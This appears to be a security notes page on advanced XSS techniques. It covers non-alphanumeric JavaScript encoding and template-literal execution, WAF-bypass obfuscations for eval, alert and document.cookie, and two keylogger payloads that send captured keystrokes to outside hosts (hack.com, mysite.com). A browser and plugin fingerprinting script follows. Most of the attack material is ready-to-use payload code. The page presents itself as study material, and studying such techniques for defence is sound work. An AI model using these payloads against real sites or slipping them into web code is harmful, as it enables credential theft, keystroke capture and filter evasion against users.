This aim to be a page with advanced, real life, study cases of XSS vulnerabilities. Sources:

Some blog i found interesting:

Javascript meets Brainfuck or unconventional javascript

I recover from Internet Archive this post in which the author made a tool for transform any javascript code into equivalent ()[]{}! characters. It’s very old but the key lesson here is that you can rewrite javascript code into something less obvious or that WAF and other input validation mechanism doesn’t defend against.

This section is all about javascript hacks

Executing non-alphanumeric JavaScript without parenthesis

First thing, this paper cites Template Literals, a browser feature that i first encountered in Bash scripting.

`string text ${expression} string text`

By genereting strings with this syntax:

[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c
[[]+{}][+[]][+!+[]]//o
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n
[![]+[]][+[]][!+[]+!+[]+!+[]]//s
[!![]+[]][+[]][+[]]//t
[!![]+[]][+[]][+!+[]]//r
[[][[]]+[]][+[]][+[]]//u
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c
[!![]+[]][+[]][+[]]//t
[[]+{}][+[]][+!+[]]//o
[!![]+[]][+[]][+!+[]]//r

This is called non-alpha javascript and this expression is interpreted as the keyword constructor.

Ofcourse we also can get the classic alert:

[!{}+[]][+[]][+!+[]]//a
[!{}+[]][+[]][+!+[]+!+[]]//l
[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]//e
[!![]+[]][+[]][+!+[]]//r
[!![]+[]][+[]][+[]]//t
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//( 
+!+[]//1
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//) 

Now, to execute the payload, once you define a Function constructor, you can use template literals to execute the code.

function x(){ alert(arguments[0]);alert(arguments[1])  }
x`x${'ale'+'rt(1)'}x`

Bypassing WAFs

The main idea of bypassing a WAF is to craft requests semantically equivalent to a XSS attack for example, while avoiding the security policies.

For XSS, you usually make use of JavaScript’s common methods to steal user information, such as: eval(), Function(), document.write(), document.cookie(), alert(), etc. The problem is, the majority of the WAFs will filter the request immediately if one of these methods are found in a request. Also, if you know the target’s browser, with the help of its API you can use non-standarized methods to extend the attack, which can lead to an easier bypass since most of non-standarized methods are not taken into account by most policies.

A simple payload is this:

eval("aler"+(!![]+[])[+[]])("xss")

An example to get the document.cookie() is using document["cookie"] obfuscating the payload like this:

document[({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])...]

Since the payload is 2727 characters long, it’s important to implement input validation with a character limit on the input field.

The downside of this obfuscation technique is that the payloads are very long.

Since alert("hello") is equivalent to this["alert"]("hello"), another way to obfuscate an attack is:

this["ale"+(!![]+[])[-~[]]+(!![]+[])[+[]]]("hello")

//or

this["ale"+"\x72\x74"]("hello")

🧑‍🍳 XSS Recipe - thanks to this article and archive.org

Advanced XSS payloads from Paracyberbellum.io

Keyloggers

Simple key logger in Javascript

Source: Paracyberbellum - XSS payload list - Capture

var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);

One line keylogger in jnode

$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});

System and Network operations

Browser info

Source: Paracyberbellum - XSS payload list - System

document.write('<P>'+navigator.appName+'</P>');
document.write('<P>'+navigator.appVersion+'</P>');
document.write('<P>'+navigator.platform+'</P>');
document.write('<P>'+navigator.userAgent+'</P>');
	   
var plugins = navigator.plugins;
var mimeTypes = navigator.mimeTypes
	   
document.write('<P>');
for (i=0;i<plugins.length;i++) {
   var plugin = plugins[i];
   document.write('<B>'+plugin.name+'</B><BR>');
   document.write(plugin.filename+' - '+plugin.description+'<BR>');
   for(j=0;j<plugin.length;j++) {
      var mimetype = plugin[j];
      document.write(mimetype.type);
      if(mimetype.description) {
         document.write(' : '+mimetype.description);
      }
      if(mimetype.suffixes) {
         document.write(' - extentions: '+mimetype.suffixes);
      }
      document.write('<BR>');
   }
			
}
document.write('</P>');

XSS with .js files